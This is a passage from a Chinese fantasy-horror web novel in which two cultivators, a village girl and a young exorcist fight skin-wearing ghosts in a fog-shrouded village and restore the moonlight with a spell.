请大师做法的十两银子,都是村民们从牙缝里一点点扣出来的,如今得知大师是个骗子,自是要将自己的钱给讨回来。 哪怕平日颇有威望的张辽劝阻,愤怒的村民们还是冲上前,将那仙风道骨的骗子大师摁在地上,一顿拳脚伺候。 大师的哀嚎声与村民们的辱骂声糅杂着,哪还有人听见清贺千宸在说什么。 唯有那名持扇少年跑过来,他神情激动的问道。 “你是不是发现了什么!” 没等贺千宸开口,姜桡却伸出手指向黑雾所在的方向。 “雾散下来了!” 轻飘飘的一句话,让乱得不行的场面瞬间一片死寂。 回过神的村民们,脸上纷纷露出恐惧的神情,并惊慌失措的朝着路口方向跑去。 就连被打的鼻青脸肿,站都站不起来的大师,都忍痛疯狂的向前爬。 可那黑雾散下来的速度极快,如决堤的洪水般,只是眨个眼的功夫,便将这群人给淹没。 与此同时,姜桡握紧程千宸的手,语气坚定。 “别怕!我会保护你的!” 一切,又恢复了昨日的宁静。 可若有人细看的话,会发现黑雾所占据的范围在扩大。 …………………………… 此时上河村正沉浸在无尽的黑暗中,它似是被凶兽吞入腹中,与世隔绝。 在这没光的地方,那一座座房屋亦如一座座墓碑,正静静的伫立着。 姜桡神情错愕的站在在一间空荡荡的木屋内,站在她身边的贺千宸目光则落在两人紧握的双手上,耳根微微泛红。 “这黑雾…” 在伸手不见五指的黑暗中,一只苍白的手忽然扯住姜桡的衣裙,也打断她要说的话。 许是没有恶意,也或是黑雾的缘故,姜桡与贺千宸竟没察觉屋内还藏着第三人。 在逐渐适应黑暗后,姜桡也能稍微看清屋内的布局。 也看清那只手的主人。 那是名穿着满是补丁粗衣的赤脚小姑娘,身形瘦弱,枯黄的碎发遮住她的眼眸,只露出半张脸。 小姑娘:“别出声。” 她尽可能的压低声音,却被这静谧的黑夜给放大。 “咚咚咚!” 屋外响起的敲门声,让小姑娘脸色苍白如纸,身体也下意识颤抖起来。 姜桡和贺千宸下意识看向门外,两人有些疑惑,外面到底藏着什么,竟让小姑娘恐惧成这个样子。 “念儿,你在家呀!” “快过来给阿爹和阿娘开门!” “念儿!快开门呀!” 见迟迟得不到回应,门外的两道声音逐渐变得暴躁,甚至还夹杂几分诡异低吼,破旧的木门更是被拍得哐哐作响,似是下一秒就轰然倒下。 贺千宸侧目看向蜷缩在角落的小姑娘,许是过于恐惧,她身体颤抖的厉害,双手则紧紧捂着嘴,不敢让自己发出一点声响。 倏然,拍门声消失,门外静的可怕。 贺千宸似是察觉什么,大步上前将姜桡护在身后,手呈持握剑姿势,却不曾想握了空。 他这才想起来,自己那把灵剑早在秘境中被折断。 而就在这时,门底下传来阵阵蠕动的怪声,有什么东西要进来了。 姜桡只能将挡在面前的贺千宸给扯到后面去,正准备召唤本命武器时,一首诡异的歌谣不知从何处飘来。 “天皇皇~地皇皇~” “我家有个爱哭郎。” “天勒勒~地勒勒~” “我家娃娃莫要喊。” “阿婆领你去吃糖。” 阴侧且嘶哑的音调听的人头皮发麻。 与此同时,昏黄的圆月从浓稠的黑雾中探出,也让姜桡与贺千宸看清门底下的东西。 那是两张人皮,正在蠕动且薄如纸片的人皮,脸上五官呈挤压扭曲的形状,那双空洞且骇人的眼眶死死盯着躲在角落中的小姑娘。 姜桡正准备动手,那张人皮却迅速朝外蠕动,随着诡异的歌谣消失,人皮也没了踪迹。 见月亮出来,蜷缩在角落的小姑娘才敢抬起头,怯生生的看着忽然出现在屋内的陌生人。 她抿着唇,犹豫半响,才小声说道。 “有月亮,能说话。” 姜桡:“月亮?” 还未被黑雾吞噬时,她分明记得太阳是悬挂在头顶之上,月亮是不可能出现,难不成是黑雾的缘故,才导致上河村出现这种异象。 以及刚刚那首诡异歌谣与蠕动的人皮,都表明上河村处处都透着危机。 当然,姜桡也没忘自己来这的目地,她望着眼前小姑娘,开口问道。 “你认识贺千宸吗?” 小姑娘想了想,然后摇摇头。 这个答案让姜桡有些意外,却也很 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但想到姜桡姑娘曾亲口说过,自己是她的人。 这样一比较,贺千宸才好受些。 许念儿脸皮薄,虽贪恋那温暖的怀抱,却也不好意思呆的太久,她轻轻推开面前的漂亮姐姐后,顺便告知自己的名讳。 “我…叫许念儿。” 姜桡先指了指自己,后又指向贺千宸所在的方向。 “我叫姜桡,他叫程千贺。” “我们都是好人。” 贺千宸从黑暗中走出来,他目光先落在姜桡身上,随即才看向那许念儿。 “你是上河村的村民?” 许念儿点点头。 贺千宸则继续道:“那你可知晓,这黑雾是何时出现的?” 许念儿却是满脸疑惑。 “黑雾?” 姜桡一五一十的将上河村被黑雾笼罩之事说了出来,许念儿听完之后,直接是愣在原地,许久才回过神。 “怪不得,天不亮了。” 其实姜桡很早就察觉到,许念儿说话有问题,她似乎不怎会长句,总是三个字,或四五个字。 “可以跟我说说,当时发生什么事吗?” 许念儿先是犹豫一会,才缓缓开口。 “那天,到了午时,天还是黑的,阿弟也在哭,哭的很凶。” “阿娘说,是我的错。” 她低下头:“当时村里人,也都很害怕,阿爹也怕。” “他让我看家,就带上阿娘,带上阿弟,去镇里。” 许念儿忽停顿下来,脏得看不出原本肤色的手紧紧拽着衣角,脑海中也不由浮现出那日恐惧的画面。 姜桡则愤愤不平道:“他们应把你也带上才对!” 她虽没阿爹阿娘,但却见过花豹为了幼崽安危,单枪匹马,扑向比自己还要强大的窥视者,也见过成鸟为护住巢穴中的幼鸟,拼死与天敌搏斗。 所以姜桡不明白。 许念儿也是他们的孩子。 为什么,要带走一个,留下一个。 5. 第五章 贺千宸的关注与姜桡不同,听许念儿提起阿爹阿娘时,他脑海中不由浮现出那两只蠕动的人皮。 纵使处在黑暗里,贺千宸也能清晰的察觉到,那东西的目标是许念儿。 他直截了当的问道:“那你阿爹阿娘是怎么死的?” 许念儿脸色瞬间苍白,她甚至再次听到,阿娘痛苦的哀嚎,阿爹凄厉的喊叫,以及那惊悚无比的咀嚼声。 姜桡见状,心领神会的问:“是不是发生了很可怕的事情?” 话音落后,她也猛然想起那两张试图钻进屋中的人皮,或许那就是许念儿口中的爹娘。 许念儿沉默片刻,才回应道。 “她们,被吃掉了!” 她声音发颤的厉害,却又鼓起勇气,三四字三四字的将后面所发生的事情,艰难的讲述出来。 因怕阿爹阿娘苛责,所以许念儿才偷偷跟在身后,她看见阿弟被阿爹疼惜的抱在怀里,听着阿娘安抚阿弟,说去镇上就给他买甜甜的糖葫芦。 藏在角落中的许念儿,脸上露出羡慕且渴望的神情。 但只是眨眼功夫,前方的阿爹阿娘似是中邪了般,他们愣愣的站在的原地一动不动,阿弟更是莫名其妙的大哭起来。 紧接着许念儿就瞥见,有什么东西将三人给拖拽在浓稠的黑暗中,阿弟的哭声也在那瞬间,戛然而止。 这突如其来的变故吓得许念儿呆愣在原地,直至阿爹阿娘发出的痛苦哀嚎声,以及黑暗中令人恐惧的咀嚼声,才让她回过神来。 许念儿连忙转身,拔腿朝着家的方向跑去,身后阴风阵阵,并传来沉重的脚步声,似有什么东西在后悔追赶着自己,她不敢回头,只能拼命的跑。 直至赶回家,紧闭房门,那东西才离去。 但让她没想到的是,这并非结束,而是开始。 自从之后,上河村便一直处于黑暗之中,唯一的光源,是空中那轮时不时出现的月亮。 听完许念儿的讲述,贺千宸不由蹙紧眉心,他猜测道。 “追赶你的怪物,兴许就是导致黑雾的罪魁祸首。” 姜桡正准备开口反驳,忽想起下山时师傅的叮嘱,除去掩盖自己身份外,关于黑雾之事最好要装傻充愣,最好一问不知,以免让人起疑心。 除此之外,师傅还塞给姜桡一个锦囊,说是在她无法做出抉择时打开。 深渊的支流涌入两界,黑雾因此而生,祂以万物为肥料,扎根绽放腐臭的恶花。 而在预知梦中,有黑雾的地方就有那灭世魔头贺千宸的身影,因此姜桡在听闻黑雾出现时,才急忙忙找过来。 不曾想,连个人影都没见着。 见姜桡一脸沉思,贺千宸低下头,柔声问道:“姜桡姑娘,怎么了?” 回过神的姜桡摇摇头:“我只是在想,导致黑雾出现的罪魁祸首会是怎样的怪物。” 她忽伸手扯了扯贺千宸衣角。 “都说了喊阿桡,姜桡姑娘这样的称呼,显得咱们关系太生疏了,我不喜欢!” 在姜桡看来,程千鹤都“以身相许”了,那就是自己人,应该亲昵些才对。 说罢,她抬头对上贺千宸那双深邃的眼眸,并露出期待的神情。 贺千宸被盯着有些脸红,他轻嗯一声后,便将头挪向别处,试图掩盖心中的慌乱。 姜桡这才满意的点点头,随即看向挡在门前的许念儿。 “想离开吗?” 许念儿抿着唇犹豫一会,才缓缓开口。 “可屋外……” 太危险了! 出去的话,会被怪物给吃掉的。 姜桡怎会不知许念儿在害怕什么,她走上前伸出手,动作轻柔的拨开许念儿额前那枯黄的长发,对上那双露出胆怯神情的眼眸。 “屋外虽很危险,但却有生机可寻。” “可在屋内,你就能笃定那些东西一直进不来吗?” 姜桡并非在吓唬人,刚刚若不是月亮出现,那两张可怖的人皮怕早就从门缝中钻进来。 听到这话的许念儿整个人被牢牢的钉在原地,双手更是死死的攥着衣角。 半响,她才抬头对上姜桡的目光,语气坚定。 “我要离开。” 许念儿想活着,好好的活着。 她鼓起勇气,转身拔出门栓,正准备推开门时,姜桡连忙上前将其拽在身后,旁边的贺千宸反应极快的冲过去,他目光凌厉,右手的食指与中指并拢呈剑诀手势。 贺千宸纵使手中无剑,却依旧能激发出剑意来。 无形的剑意直接对上从黑暗中飘荡过来的人皮,只是瞬间,便将其击碎,只留下一道凄厉的哀嚎声。 借着朦胧的月光,许念儿也看清楚人皮的那张扭曲面孔,她直接愣在原地。 姜桡没想到“程千鹤”身手会这般好,竟一招就将那邪物给击杀掉,那张俏丽的脸上不禁露出诧异的神情。 贺千宸见状,连忙解释:“姜桡姑娘,我不是有意隐瞒你的。” 他深邃的眼眸中迅速泛起一抹惊慌失措,整个人就像是做错事的孩童,惴惴不安的站着那。 姜桡蹙紧眉心,抬头瞪了眼面前男人,并纠正道。 “都说了不是姜桡姑娘,是阿桡。” 贺千宸微微一怔,随即小心翼翼的问:“你不生气我隐瞒是修真者的事?” 姜桡摇摇头:“不生气呀。” 毕竟她也隐瞒了很多事情。 姜桡抬头看向那轮悬挂在夜空中的圆月,忍不住问道:“那东西不是畏惧月光吗?” 贺千宸目光闪了闪,开口提出自己的猜测。 “许是那张人皮执念过深。” 身为里界之人,见多了诡事怪谈,对其中的门道自然要熟络许些。 回过神的许念儿却满脸疑惑。 “执念?” 贺千宸轻嗯了声。 姜桡似是想起什么,连忙小声询问道:“刚刚那张人皮,是你的阿娘?” 许念儿点点头。 可阿娘的执念会是什么? 是自己吗? “两位好友!” 前方忽响起一道熟悉的声音,姜桡抬头,便瞧见那名身着月白色直襟长袍的少年,他手持桃木剑,正神情慌张的跑出来。 可在半途中,少年却停下脚步,并警惕的打量着面前三人。 “两位可还记得,在路口碰面时,我第一句话说的是什么?” 姜桡虽觉得这个问题有些奇怪,但也没多想,还很诚实的给与答 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许念儿被盯的有些不自在,她紧张的双手揪着衣角,声音细小如蚊。 “我,我叫,许念儿。” 这名字让陆观棋微微一愣,他忍不住开口:“你这爹娘……” 余下的话陆观棋没继续说下去,怕这小姑娘心里头难受。 “两位好友,想必也是有些本事的人,不如我们一起联手,离开这个鬼地方。” 对于这个提议,姜桡并未立马答应,她侧目看向身边的贺千宸,与他一起商议。 “我们要不要和他联手。” 贺千宸垂眸,声音低沉而又温柔:“先等等。” 有些事总要弄清楚,才能分辨是敌是友。 他盯着面前的陆观棋,开口质问:“那老道士是怎么死的?而你又是怎么活下来的。” 陆观棋瞥了眼手中那把沾上点点血迹的桃木剑,他也没什么好隐瞒的。 “其实我也不知道,那老道士现在是活着,还是算死了。” 陆观棋并未说谎,毕竟当时所发生的事,很难解释清楚。 当时老道士正跪在地上给各路神明磕头赔罪,门外忽传来一道空灵的女声,她蛊惑让老道士打开门,只要打开门,就能离开这个地方。 陆观棋又不蠢,自是不会让老道士将那木门打开,可他道行还是浅了些,没斗得过装摇撞骗的老道士,一不留神就被他给溜了出去。 门打开的瞬间,陆观棋只能扯下腰间的那块青莲圆玉佩,他咬破手指,将鲜血摁在上面,开启玉佩中的阵法。 巨大的青色的玉莲瞬间绽放,将陆观棋包裹其中,也让他逃过一劫。 但老道士就没那么幸运,门开之后,迎接他的是一张张飘荡在半空中的苍白色的人皮,老道士就像是一块肉,坠入满是食人鱼的池塘中,连惨叫都没来得及喊出来,那些白色人皮就扑上去,瞬间将其包裹住。 靠着青玉莲阵法隐去身形与气息的陆观棋,更是被这幕吓的一身冷汗。 可接下来发生的事情,更是超越他以往所有的认知。 6. 第六章 不知过了多久。 那密密麻麻如白布般的人皮才慢慢离去,但奇怪的是,老道士却毫发无损,只是神情呆滞的站在原地,一动不动。 直到陆观棋无意瞥见飘荡在半空中的一张人皮,纵使没有骨肉的支撑,他也能看出来,那就是老道士。 而姜桡很快就想明白其中的缘由。 “它们在找身体。” 说完这话,她似是想到什么,立即转头看向许念儿。 许念儿低着头,让人看不清脸色情绪如何,只是声音带着颤意与几分不可置信。 “阿娘执念,是抢走,我身体。” 此时贺千宸嘴角微微下压,神情严肃,这地方处处都透着邪性,且危机重重,若想离开,怕是没那么简单。 沉思片刻,他迅速将眼下局势详细的分析出来。 “那一张张诡异的人皮,我们先喊它人皮鬼。” “人皮鬼抢占活者身体,也相当于顶替活者的身份,但眼下我们一不知这群人皮鬼的由来,二不知人皮鬼强占活人身体目的,三不知如何分辨人皮鬼与活者之间的区别。” 贺千宸声线清冽,低沉悦耳,可所说的话却让在场所有人寒毛直竖。 陆观棋脸色变了变。 “那接下来我们该怎么办。” 姜桡涉世未深,又从未遇见这种情况,哪知晓怎么办,纵使她有本事,也无法破开裹住上河村的黑雾。 于是,姜桡只能看向比自己脑子稍微灵光那么一丢丢的贺千宸。 “那接下来我们该怎么办。” 躲在姜桡身后的许念儿也抬起了头。 贺千宸:………… 悬挂在众人头顶的那轮圆月,在这漆黑浓稠的夜色中,宛如一颗浑黄的眼珠子,正死死的盯着四人,而地面上的影子更是被拉得细长细长。 贺千宸想了想:“凡事皆有因果,这黑雾不可能平白无故的出现。” 说罢,他目光便落在许念儿的身上。 上河村定是发生了什么事,才导致黑雾的出现,或许只有弄清楚这个缘由,才知道下一步该如何走。 姜桡与陆观棋立即看向许念儿。 许念儿被三人盯着有些不自在,她缩着脖子,低着头,整个人就像是只小鹌鹑般。 陆观棋忍不住叹口气:“小丫头,我们又不会吃了你,你把知道的事情说出来就行。” 姜桡也轻声的鼓励:“别怕。” 许念儿双手紧紧揪着衣角:“我……我想想。” 黑雾还未出现前,天刚蒙蒙亮,她就背着竹筐,提着镰刀去后山割猪草,那日很幸运,还采摘不少红彤彤的蛇果,她吃了好几颗,酸甜酸甜的。 回来时,橘黄的日光穿破云层,洒落在大地之上,缕缕炊烟也从每家每户的屋檐上钻了出来。 好像没有什么不同! 不对! 许念儿犹豫片刻:“那天…河边人少。” 姜桡有些不解:“这有什么反常的吗?” 许念儿点了点头 每日割猪草回来时,她都会路过村口的那条河,而村里的婶子们则蹲在河边的石头上,边搓洗脏衣裳边聊些家常。 有些去的晚,也只能岸边上先等等,但那天却很奇怪,平日热闹的河边忽变得冷冷清清,就好像有什么忌讳。 听到这些后,陆观棋立即道。 “不做亏心事,不怕鬼敲门,这河边应是出了什么事。” 姜桡扭头看向贺千宸:“我们要不要过去看看?” 贺千宸目光正落在陆观棋手中的那把桃木剑上,他轻“嗯”了声。 “去。” 他在回应姜桡时,语气不由自主的放软几分。 闻言,身为本地村民的许念儿小声道:“那我…在前面…带路。” 姜桡连忙开口:“等下。” 她低头从灵宝袋中拿出一串由树枝编织的手环,并将其递到许念儿的面前。 “戴上手腕上,在危急关头,可以抵挡一次邪祟伤害。” 那是用灵树脱落的树枝所制作成的护身符,上面沾有不少天地灵气,只可惜灵树的树枝五十年才脱落一次,若不然姜桡定要揣上好几十串下山。 许念儿下意识躲开,她摇头拒绝。 "太贵重,不能要。" 姜桡才不管那那么多,上前将手环直接套进许念儿那骨瘦如柴的手上。 “在贵重也没有你的命重要。” “我说过,会带你出去。” 许念儿微微怔住,待回过神后,眼眶瞬间红了起来,阿爹阿娘常说她是赔钱货,是贱命一条。 她还是第一次听人说,自己的命很贵重。 许念儿无比珍惜的看了眼手腕上那串保命护身符,十分羞涩的小声道。 “谢谢,姜姐姐。” 说罢,她便开始带路。 村口那条河是从溪山流淌下来的,因村子处于上流,才得名上河村,而最为称奇的是,哪怕遇到夏旱时,河水都从未断流过。 尤其是河岸旁那棵歪脖子柳树,村里的人无事时,都爱在树荫底下扎堆。 四人一前一后朝着村口方向走去,两侧是紧闭大门的房屋,除了回荡的脚步声外,周边静谧得可怕。 陆观棋有些眼红许念儿手上的护身符,好几次都想蹭到姜桡身边,可每次都被贺千宸不动声色的拦住,他只好隔着贺千宸小声开口。 “姜姑娘,你那护身符还有吗?可否卖我一个?多少银钱都无所谓。” 姜桡摇摇头:“没了。” 陆观棋的脸上不由露出失望的神情,似是想到什么,又神秘兮兮的问道。 “两位可是里界的修行者?” 站在两人中间的贺千宸听到这话后,不由侧目看向那陆观棋,他挑了挑眉。 “为何这般问?” 姜桡也从贺千宸身边探出个小脑袋,一脸好奇问道。 “你怎知我们是里界的修行者?而不是外界的普通人?” 陆观棋这个人向来观察甚微,又极其痴迷里界传闻,那枚青莲玉佩也是在机缘巧合之下买下来的,因此在听到贺千宸提醒村民快些离开时,他就开始怀疑。 后被黑雾卷入上河村内,再次遇见两人时,陆观棋才刚笃定,两人身份定没有那么简单。 在一番有理有据的分析之后,陆观棋略微骄傲的仰起脑袋,那高高束起的马尾微微晃动着。 “日后我也是要去里界的。” 贺千宸神情淡淡的“嗯”了声,姜桡又忍不住探出脑袋,刚想说些什么,却听前方传来急促的脚步声。 三人立即警惕起来,陆观棋连忙伸手将还未反应过来的许念儿 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当时他被黑雾卷入其中,回过神后,才发现正与王二牛正身处一间陌生的屋子里,他刚准备开口,就听房屋传来凄厉的惨叫声,吓得两人直接躲进木桌底下瑟瑟发抖。 直到月亮出来,张辽忽听见那老道士骗子的声音,瞬间怒从心中起,本信他是名天外高人,才花重金聘请来作法驱邪,哪曾想是个骗子! 若不是骗子说要去上河村那摆神台,自己又怎会黑雾卷进如此邪门的鬼地方。 张辽咽不下这口恶气,拉着王二牛出屋外,便瞧见那老道士正笑咪眯与人说话,就在两人走近正准备找老道士算账,谁知那老道士嘴角忽裂开个大口子,如刀锯般的牙齿瞬间咬断面前村民的脖子,滚热的鲜血如雨般落了下来。 王二牛被溅半脸的血,直接就给吓傻了。 张辽更是惊恐的瞪大眼睛,他万万没没想到,老道士不单单是个骗子,还是个吃人的邪祟。 回过神后,张辽急忙拽着已经吓傻的王二牛疯狂逃命。 而身后的老道士则如野兽般,趴在地上大口大口啃噬着尸体,那咀嚼血肉的声音,听得人全身的寒毛都竖了来。 一想到被卷进来的村民,可能也会被那邪祟吃掉,张辽不由红了眼,他悲切又自责。 “都怪我!” “要不是我信了那邪祟的话,也就不会酿成这场悲剧。” 陆观棋不由叹口气:“那老道士最开始不是什么邪祟,只是后来被人皮鬼给占了肉身罢了。” 张辽愣了愣:“什么人皮鬼,什么抢占肉身?” 陆观棋便将事情的来龙去脉一一讲述出来,听得张辽是脸色苍白,冷汗直冒,双腿更是发软的跌坐在地上。 他绝望喊道:“难不成,我们都要死在这了!” 这话陆观棋可不爱听,什么叫都得死在这,他正准备开口,却瞥见“程千鹤”正一脸狐疑的打量着那张辽与王二牛,心里也猛的咯噔了下。 人皮鬼既可以占据老道士的肉身,亦可抢占眼前两人的肉身。 谁知这张辽的话是真是假,目的是不是咬断他们的脖子。 陆观棋下意识朝后退好几步,当然也不忘拉着许念儿一起。 此时已被吓傻了的王二牛忽开口道。 “跑!” “村长,快跑!” 7. 第七章 张辽再也忍不住,悲痛大哭起来。 姜桡虽觉得人很可怜,但也没蠢到放低警惕靠近,思索片刻,目光从张辽身上转向目光呆滞的王二牛的身上。 她本想与贺千宸说几句悄悄话,无奈自己脑袋才到贺千宸的肩膀处,纵使努力踮起脚尖,嘴巴也无法凑到贺千宸的耳边。 姜桡不由叹口气,伸手扯了扯贺千宸的衣角:“你弯下腰来。” 贺千宸有些不明所以,却还是很听话的弯腰下,凑到了姜桡面前,两人这姿势很亲昵,亲昵到身后的宋观棋露出“原来如此”的神情。 姜桡悄悄的把自己计划说给贺千宸听,贺千宸听完先是一愣,随即点了点头,示意这个法子可行。 是人是鬼总要分个清楚才行。 贺千宸站直身子,抬眸看向正在用袖子抹泪的张辽,他缓缓开口。 “张村长,唐突了。” 还没等张辽反应过来,贺千宸忽侧身夺过陆观棋手中的桃木剑,微挑的桃花眼中布满冷意,而后持剑直接朝张辽与王二牛扫去。 纵使是木剑,却也不容小觑。 只见凌厉剑意在剑身流转,带着几分威压直袭毫无防备的两人。 张辽脸色苍白如纸,在下意识躲开的瞬间,也暴露自己的身份,他脚尖诡异的踩在地面上,身体轻盈的朝后飘去,而原本神情呆滞的王二牛也恢复了清明,可惜他躲的不够及时,满是横肉的脸上被剑意给划伤个口子。 但奇怪的是,那伤口处并未渗出血液。 这突如其来的变故让躲在身后的陆观棋与许念儿都给惊呆住,许是没想到,这两人竟都是人皮鬼假扮的。 王二牛目光死死盯着贺千宸:“你竟敢毁了我的皮。” 话说如此,但王二牛却迟迟不敢上前,毕竟刚才那一剑太过可怖,只是这伤口,得要吃多少肉才能恢复好。 张辽则死死盯着姜桡,呐呐自语道:“到底是哪露出了破绽呢?” 陆观棋也十分好奇,姜桡是如何看出这两人是人皮鬼假扮的,他忍不住凑到贺千宸身边。 “姜桡姑娘方才与你偷偷说了什么?” 贺千宸并没打算瞒着:“让我假装出剑试探他们,若他们不躲的话,剑意会在头顶消散,并不会伤人。” 可惜,他们心里有鬼,都躲了。 听到这话的陆观棋,忍不住夸赞。 “姜姑娘的法子可太绝了!” 若是刚死里逃生的正常人,要么被吓的呆愣在原地,要么就跪地求饶,可若是人皮鬼,则会下意识觉得自己身份暴露,并躲开这忽如袭来的剑意。 姜桡有些骄傲的扬起头。 而得知真相的张辽与王二牛脸上都露出不甘的神情,他们也不想过来招惹这击杀许家小鬼的男人。 但是。 他们太饿了! 只有吞咽那鲜口甜美的肉,他们才能有一丝的饱腹感,才能继续维持活者的肉身,才能感受自己还活着。 而不是变成人不人,鬼不鬼的样子! 昏黄的圆月已被不知名的黑影占据,就像有什么东西,将它一点点的吞入肚中。 也只是眨眼的功夫,天地间陷入了黑暗。 与此同时,那股难以忍受的饥饿开始叫嚣起来,正在缓缓吞噬张辽与王二牛的思维与理智,两人的眼珠子也发生了变化,从黑白分明先转变成白蒙蒙一片片,后又再次被浓稠的黑色薄膜覆盖。 前方的人肉香气钻入鼻尖,抓肝挠肺的饥饿感让张辽与王二牛不断吞咽着口水,两人的身体也发生诡异的变化,就像是一团被打湿的蚕丝,正在一点点的溶解。 贺千宸手持桃木剑挡在姜桡面前,姜桡倒也不惧,从旁侧将脑袋探出来,有些疑惑的问道。 “他们这是怎么了?” 贺千宸眉心下意识蹙紧,沉思片刻后,才开口答复。 “它们在吃皮下的那具肉身。” 就像是蜘蛛用蛛丝裹紧猎物,然后利用毒素将猎物化为肉汁,再吸吮入胃。 人皮鬼应该也差不多,皮下的肉身是它们的储备粮。 陆观棋早就退至两人身后,想到“程公子”刚刚如此有实力的一剑,他现在丝毫不慌,甚至莫名的有些期待。 原本身形还算壮硕的两人,只稍片刻,便瘪得跟纸片似的。 失去□□的束缚,人皮鬼也显出原来的摸样,没有骨肉的支撑,飘荡在半空中的人皮鬼就显得十分的骇人。 站在陆观棋旁边的许念儿看清这人皮鬼的摸样后,不由瞪大眼。 她认出来,那是经常在村口小溪边洗衣裳的梅芳婶与她男人二壮叔,在那瞬间许念儿心里忽然蹦出一个可怕的念儿。 难不成上河村的人都变成这样的怪物? 一只人皮鬼忽察觉到什么,它那干瘪的鼻子用力嗅了嗅,嘴角露出似笑非笑,似哭非哭的弧度,它们没有眼睛,看到的只有一片空虚,亦如它们也没有肉身,所以无比渴望那温暖的血液与诱人的骨肉。 “咦~是许丫头的味道~” “不甘心!” “她怎么还活着!” 尖锐刺耳的声音在半空中响起,两只人皮鬼虽然只剩一双空洞的眼眶,但姜桡却敏锐的察觉到,它们正在盯着身后的许念儿。 没有月光的庇护,众多的人皮鬼很快就被活者的味道给吸引过来,那飘荡在夜空中的人皮鬼,就像是一张张出殡所用的丧幡。 很快,四人就被包围其中。 有几张人皮鬼直接朝许念儿所在方向扑过去,可还未靠近,就被无形的剑气斩成碎片,消散在黑暗之中。 夜风卷起贺千宸的衣角与长发,他手持木剑站在姜桡面前,纵使手持普通不能在普通的桃木剑,但身上散发强大的气场,却让漂浮在半空中的人皮鬼不敢上前。 这样的贺千宸与前几日那温和的形象截然相反,姜桡倒也不在意,甚至还想夸一夸自己。 她运气可真好,捡回来的人竟这般厉害。 人皮鬼只是被震撼了片刻,便又开始蠢蠢欲动起来,它们紧紧盯着底下的四人,只是瞬间,便蜂拥的朝底下扑去。 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姜桡双手握住玉埙,放在嘴唇吹响的同时,摁住孔洞的双手也飞舞着。 埙之为器,立秋之音也。平底六孔,水之数也。中虚上锐,火之形也。埙以水火相和而后成器,亦以水火相和而后成声,故大者声合黄钟大吕,小者声合太簇夹钟,要皆中声之和而已。 随着幽幽扬扬的埙声响起,厚密的黑暗中浮现出点点星光,它们朝着半空中飞去,慢慢的汇集在一起,并从拇指般的形状凝聚成珍珠般大小。 而人皮鬼们也再次发起攻击,贺千宸眼眸中透着几分孤冷,他先利索挽剑,而后一剑破空,只是瞬间,人皮鬼再次消散大半。 姜桡相信守护在自己面前的贺千宸,她闭上眼,继续吹奏着那古老悠久的乐曲。 四周漂浮越来越多的星光,待所有星光凝聚成半个拳头大小的光球后,姜桡也停止了吹奏,手中的玉埙也消散不见。 曲尽,意成! 陆观棋与许念儿被这一幕给惊呆住,陆观棋则不可思议的嘀咕着。 “这是月亮?” “怎么看起来不大像?” 姜桡看着那光球,巴掌大的小脸上露出满意的神情。 “要耐心等等。” 站在最前方的贺千宸看到半空中的那颗光球时,眼中闪过一抹诧异。 阿桡竟会音修的术法! 诞生在黑暗之中的人皮鬼们也察觉到“光球”的存在,天生对光的恐惧,让它们也转移了目标。 人皮鬼像是巨大的飞蛾,一只只扑向半空中的那颗光球。 那场面瘆人而又壮观。 可就在人皮鬼要触碰到“光球”时,光球十分灵敏的躲避开,而后慢慢舒张,露出一对长耳朵,四只小短腿。 眨眼的功夫,光球便化形成一只发光的小白兔。 白兔抖动着两只长耳朵,后腿猛蹬在一只人皮鬼的后背上,身体轻盈的凌空而起。 8. 第八章 躲过众多飞扑而来的人皮鬼后,兔子的体型也发生了变化,并肉眼可见的壮硕起来,而它身上所散发的光,依旧是那么温柔。 直至兔子飞腾到一定的高度时,它才缓缓停了下来,随即两只前爪搭在后爪处,整个身体慢慢的蜷缩起来。 天狗食日,玉兔抱月。 最终一轮新的圆月出现在众人的头顶之上,四周的黑暗也被这清冷月光驱逐殆尽。 纵使是见多识广的贺千宸,也被这一幕给震惊住,可很快他便回过神,那双漂亮的桃花眼中闪过一缕担忧的神情。 姜桡能将自己从生死边缘中救回来,便足以证明她的厉害之处,但姜桡涉世未深,且身怀宝藏而不知,因此贺千宸很担心,日后姜桡会被有心之人给盯上。 想到这里,贺千宸下意识握紧手中的桃木剑。 只要他还活着,定不会让这种事发生! 姜桡并不知贺千宸在那七想八想,见四处逃窜的人皮鬼,她连忙提醒道。 “程千鹤,这些人皮鬼都快跑了。” 回过神的贺千宸立即单手挑剑,剑意疾起,而那道剑意在半空绽开,似寒星飞落,人皮鬼们还没反应过来,身形就开始慢慢溃散。 这一次,它们没能再生。 待人皮鬼全都消失之后,贺千宸才收剑,边将其还给身后露出崇拜神情的陆观棋,边解释。 “方才不得已才夺剑,还望见谅。” 陆观棋连忙摆手:“不打紧不打紧,这把桃木剑留在程兄最为合适不过,不用还我。” 单单用一把桃木剑,就能施展这般神通。 若换成本命灵剑的话,怕不是一剑斩破虚空,千里取人首级。 贺千宸想了想:“多谢。” 他单手挽个漂亮的剑后,动作优雅的将桃木剑别在身后,随即侧目看向身边的姜桡。 “这轮月亮能持续多久?” 姜桡歪着脑袋:“半个时辰左右。” 她似是想到什么,抿着唇,有些不开心的问道:“是不是还不够厉害?” 贺千宸微微一愣,而后嘴角牵起,他目光停留在姜桡的身上。 “怎么会!” “若不是你,我也无法解决那些人皮鬼。” 那声音低沉温柔而又坚定。 姜桡对上贺千宸那双深邃不见底的眼眸,脸上露出两个浅浅的小酒窝,她十分骄傲的点点头。 “那我很厉害。” 贺千宸忍着笑意回应:“嗯,很厉害!” 站在身后的陆观棋那双“火眼金睛”怎会看不出两人的关系,他在心里头“啧”了声,然后低头,对一直没吭声的许念儿道。 “我陪你走在前面。” 许念儿??? 没人皮鬼的干扰,在许念儿的带路下,四人很快就抵达到村口。 清冷的月色下,一棵呈三丈高的柳树正静静的伫立在河边,茂盛且翠绿的柳叶大部分垂落在地,小部分着浸泡在那清澈见底的溪水中,并随着水流摇曳生姿,婆娑舞动起来。 远远望去,那棵柳树就像是蹲在地上,被长发覆盖身体与面貌的女人,莫名的怪异与阴森。 姜桡连忙喊住许念儿。 “先别走过去!” 许念儿还没有反应过来,就被心里咯噔了一下的陆观棋,急忙拽着躲到贺千宸的身后去。 柳树乃属鬼树之一,又位于河边,阴气极重,还是谨慎些比较好。 姜桡也隐隐约约察觉到柳树里头有什么东西存在,但那东西对她们似乎并未恶意。 而就在这时,柳树内传来一道女子的轻笑声。 “奴家可不像他们,尽会害人。” 话音落后,垂落在地面上的柳枝无风摇曳起来,伴随树枝沙沙作响声,坐在树干上的女子也出现在四人面前。 